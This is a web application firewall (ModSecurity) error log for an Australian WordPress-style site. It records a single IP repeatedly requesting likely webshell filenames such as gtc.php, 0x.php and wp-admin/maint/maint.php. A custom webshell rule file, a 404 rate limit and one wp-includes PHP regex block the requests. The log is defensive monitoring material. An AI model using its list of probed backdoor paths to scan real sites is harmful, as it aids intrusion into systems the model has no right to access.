[Sat Feb 28 20:46:53.816810 2026] [:error] [pid 49763:tid 49784] [client 20.104.124.39:50245] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gtc.php"] [unique_id "aaLjvbTHSOG_yf2PpqFBhAAAAdI"]
[Sat Feb 28 20:46:54.959681 2026] [:error] [pid 39185:tid 39263] [client 20.104.124.39:50237] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gtc.php"] [unique_id "aaLjvhVE-FfM89u7BQabagAAAJE"]
[Sat Feb 28 20:47:03.847517 2026] [:error] [pid 49763:tid 49788] [client 20.104.124.39:50185] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/simple.php"] [unique_id "aaLjx7THSOG_yf2PpqFBzQAAAdY"]
[Sat Feb 28 20:47:05.589023 2026] [:error] [pid 11791:tid 11799] [client 20.104.124.39:50287] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/simple.php"] [unique_id "aaLjyWuX5e1Q32gqxH29wQAAAQY"]
[Sat Feb 28 20:47:07.521242 2026] [:error] [pid 49763:tid 49775] [client 20.104.124.39:50303] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/simple.php"] [unique_id "aaLjy7THSOG_yf2PpqFB2wAAAck"]
[Sat Feb 28 20:47:09.371218 2026] [:error] [pid 22194:tid 22208] [client 20.104.124.39:50191] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/simple.php"] [unique_id "aaLjzX6mbajs3bzQGyufIAAAAUw"]
[Sat Feb 28 20:47:11.429080 2026] [:error] [pid 39184:tid 39243] [client 20.104.124.39:50184] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aaLjz1tZF9Zd_U7easCzbwAAAFg"]
[Sat Feb 28 20:47:12.418358 2026] [:error] [pid 39185:tid 39248] [client 20.104.124.39:50233] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aaLj0BVE-FfM89u7BQabiQAAAII"]
[Sat Feb 28 20:47:13.233192 2026] [:error] [pid 11791:tid 11815] [client 20.104.124.39:50244] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aaLj0WuX5e1Q32gqxH292AAAARY"]
[Sat Feb 28 20:47:14.122521 2026] [:error] [pid 49763:tid 49779] [client 20.104.124.39:50120] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aaLj0rTHSOG_yf2PpqFB5AAAAc0"]
[Sat Feb 28 20:47:14.731169 2026] [:error] [pid 39184:tid 39223] [client 20.104.124.39:50212] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aaLj0ltZF9Zd_U7easCzdAAAAEQ"]
[Sat Feb 28 20:47:15.855511 2026] [:error] [pid 39185:tid 39269] [client 20.104.124.39:50151] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aaLj0xVE-FfM89u7BQabmAAAAJc"]
[Sat Feb 28 20:47:16.742497 2026] [:error] [pid 39292:tid 39296] [client 20.104.124.39:50254] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aaLj1KIAO5fN7BxyqcFxsgAAAMI"]
[Sat Feb 28 20:47:18.083109 2026] [:error] [pid 22194:tid 22214] [client 20.104.124.39:50128] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aaLj1n6mbajs3bzQGyufIwAAAVI"]
[Sat Feb 28 20:47:18.759486 2026] [:error] [pid 39184:tid 39229] [client 20.104.124.39:50190] [client 20.104.124.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aaLj1ltZF9Zd_U7easCzewAAAEo"]
[Sat Feb 28 20:47:20.107004 2026] [:error] [pid 39185:tid 39246] [client 20.104.124.39:50209] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aaLj2BVE-FfM89u7BQabpgAAAIA"]
[Sat Feb 28 20:47:21.032115 2026] [:error] [pid 49763:tid 49768] [client 20.104.124.39:50267] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aaLj2bTHSOG_yf2PpqFB7wAAAcI"]
[Sat Feb 28 20:47:22.537560 2026] [:error] [pid 39184:tid 39224] [client 20.104.124.39:50223] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aaLj2ltZF9Zd_U7easCzigAAAEU"]
[Sat Feb 28 20:47:24.030882 2026] [:error] [pid 39292:tid 39315] [client 20.104.124.39:50289] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aaLj3KIAO5fN7BxyqcFxuQAAANU"]
[Sat Feb 28 20:47:25.648960 2026] [:error] [pid 39185:tid 39260] [client 20.104.124.39:50214] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w.php"] [unique_id "aaLj3RVE-FfM89u7BQabvQAAAI4"]
[Sat Feb 28 20:47:26.702661 2026] [:error] [pid 39183:tid 39204] [client 20.104.124.39:50137] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w.php"] [unique_id "aaLj3hCf4HvhVePw3LYm-wAAAAw"]
[Sat Feb 28 20:47:27.673115 2026] [:error] [pid 49763:tid 49790] [client 20.104.124.39:50213] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w.php"] [unique_id "aaLj37THSOG_yf2PpqFCFQAAAdg"]
[Sat Feb 28 20:47:28.385110 2026] [:error] [pid 49763:tid 49788] [client 20.104.124.39:50136] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w.php"] [unique_id "aaLj4LTHSOG_yf2PpqFCHwAAAdY"]
[Sat Feb 28 20:47:29.463525 2026] [:error] [pid 39184:tid 39239] [client 20.104.124.39:50243] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aaLj4VtZF9Zd_U7easCzmAAAAFQ"]
[Sat Feb 28 20:47:30.188072 2026] [:error] [pid 52460:tid 52475] [client 20.104.124.39:50266] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aaLj4rLWOogAgHGh62RxgQAAAYw"]
[Sat Feb 28 20:47:31.135925 2026] [:error] [pid 22194:tid 22210] [client 20.104.124.39:50256] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aaLj436mbajs3bzQGyufLgAAAU4"]
[Sat Feb 28 20:47:31.667319 2026] [:error] [pid 39292:tid 39316] [client 20.104.124.39:50252] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aaLj46IAO5fN7BxyqcFxwwAAANY"]
[Sat Feb 28 20:47:32.394474 2026] [:error] [pid 49763:tid 49771] [client 20.104.124.39:50240] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aaLj5LTHSOG_yf2PpqFCKwAAAcU"]
[Sat Feb 28 20:47:32.930782 2026] [:error] [pid 49763:tid 49786] [client 20.104.124.39:50236] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aaLj5LTHSOG_yf2PpqFCMAAAAdQ"]
[Sat Feb 28 20:47:33.564112 2026] [:error] [pid 39183:tid 39209] [client 20.104.124.39:50189] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aaLj5RCf4HvhVePw3LYnDAAAABE"]
[Sat Feb 28 20:47:34.244551 2026] [:error] [pid 39183:tid 39194] [client 20.104.124.39:50204] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aaLj5hCf4HvhVePw3LYnFAAAAAI"]
[Sat Feb 28 20:47:35.159736 2026] [:error] [pid 52460:tid 52487] [client 20.104.124.39:50235] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "aaLj57LWOogAgHGh62RxiQAAAZg"]
[Sat Feb 28 20:47:35.853339 2026] [:error] [pid 52460:tid 52465] [client 20.104.124.39:50296] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "aaLj57LWOogAgHGh62RxiwAAAYI"]
[Sat Feb 28 20:47:36.930707 2026] [:error] [pid 39183:tid 39206] [client 20.104.124.39:50131] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "aaLj6BCf4HvhVePw3LYnIQAAAA4"]
[Sat Feb 28 20:47:37.819939 2026] [:error] [pid 52460:tid 52471] [client 20.104.124.39:50229] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "aaLj6bLWOogAgHGh62RxkQAAAYg"]
[Sat Feb 28 20:47:38.811492 2026] [:error] [pid 52460:tid 52483] [client 20.104.124.39:50238] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aaLj6rLWOogAgHGh62RxlAAAAZQ"]
[Sat Feb 28 20:47:40.012521 2026] [:error] [pid 49763:tid 49768] [client 20.104.124.39:50250] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aaLj7LTHSOG_yf2PpqFCUAAAAcI"]
[Sat Feb 28 20:47:40.749739 2026] [:error] [pid 49763:tid 49785] [client 20.104.124.39:50148] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aaLj7LTHSOG_yf2PpqFCWgAAAdM"]
[Sat Feb 28 20:47:41.304551 2026] [:error] [pid 49763:tid 49771] [client 20.104.124.39:50199] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aaLj7bTHSOG_yf2PpqFCZAAAAcU"]
[Sat Feb 28 20:47:42.211263 2026] [:error] [pid 52460:tid 52474] [client 20.104.124.39:50295] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aaLj7rLWOogAgHGh62RxngAAAYs"]
[Sat Feb 28 20:47:43.188998 2026] [:error] [pid 39183:tid 39207] [client 20.104.124.39:50149] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aaLj7xCf4HvhVePw3LYnKgAAAA8"]
[Sat Feb 28 20:47:44.074106 2026] [:error] [pid 39185:tid 39258] [client 20.104.124.39:50051] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aaLj8BVE-FfM89u7BQab7AAAAIw"]
[Sat Feb 28 20:47:45.379719 2026] [:error] [pid 39292:tid 39302] [client 20.104.124.39:50284] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aaLj8aIAO5fN7BxyqcFx0QAAAMg"]
[Sat Feb 28 20:47:46.975450 2026] [:error] [pid 39183:tid 39213] [client 20.104.124.39:50297] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/index.php"] [unique_id "aaLj8hCf4HvhVePw3LYnOQAAABU"]
[Sat Feb 28 20:47:49.050849 2026] [:error] [pid 39292:tid 39302] [client 20.104.124.39:50155] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/index.php"] [unique_id "aaLj9aIAO5fN7BxyqcFx5AAAAMg"]
[Sat Feb 28 20:47:49.928058 2026] [:error] [pid 49763:tid 49772] [client 20.104.124.39:50281] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/index.php"] [unique_id "aaLj9bTHSOG_yf2PpqFCeQAAAcY"]
[Sat Feb 28 20:47:50.791668 2026] [:error] [pid 39183:tid 39204] [client 20.104.124.39:50129] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/index.php"] [unique_id "aaLj9hCf4HvhVePw3LYnWAAAAAw"]
[Sat Feb 28 20:47:51.928514 2026] [:error] [pid 22194:tid 22214] [client 20.104.124.39:50302] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aaLj936mbajs3bzQGyufRQAAAVI"]
[Sat Feb 28 20:47:52.762018 2026] [:error] [pid 49763:tid 49776] [client 20.104.124.39:50139] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aaLj-LTHSOG_yf2PpqFChQAAAco"]
[Sat Feb 28 20:47:53.368698 2026] [:error] [pid 49763:tid 49773] [client 20.104.124.39:50073] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aaLj-bTHSOG_yf2PpqFCjgAAAcc"]
[Sat Feb 28 20:47:54.574604 2026] [:error] [pid 52460:tid 52463] [client 20.104.124.39:50118] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aaLj-rLWOogAgHGh62RxswAAAYA"]
[Sat Feb 28 20:47:55.528346 2026] [:error] [pid 39183:tid 39211] [client 20.104.124.39:50191] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aaLj-xCf4HvhVePw3LYnZAAAABM"]
[Sat Feb 28 20:47:56.830425 2026] [:error] [pid 52460:tid 52485] [client 20.104.124.39:50133] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aaLj_LLWOogAgHGh62RxxgAAAZY"]
[Sat Feb 28 20:47:57.937669 2026] [:error] [pid 22194:tid 22218] [client 20.104.124.39:50275] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aaLj_X6mbajs3bzQGyufRwAAAVY"]
[Sat Feb 28 20:47:59.043698 2026] [:error] [pid 52460:tid 52463] [client 20.104.124.39:50105] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aaLj_7LWOogAgHGh62Rx3wAAAYA"]
[Sat Feb 28 20:48:00.020487 2026] [:error] [pid 11791:tid 11812] [client 20.104.124.39:50277] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aaLkAGuX5e1Q32gqxH2-SgAAARM"]
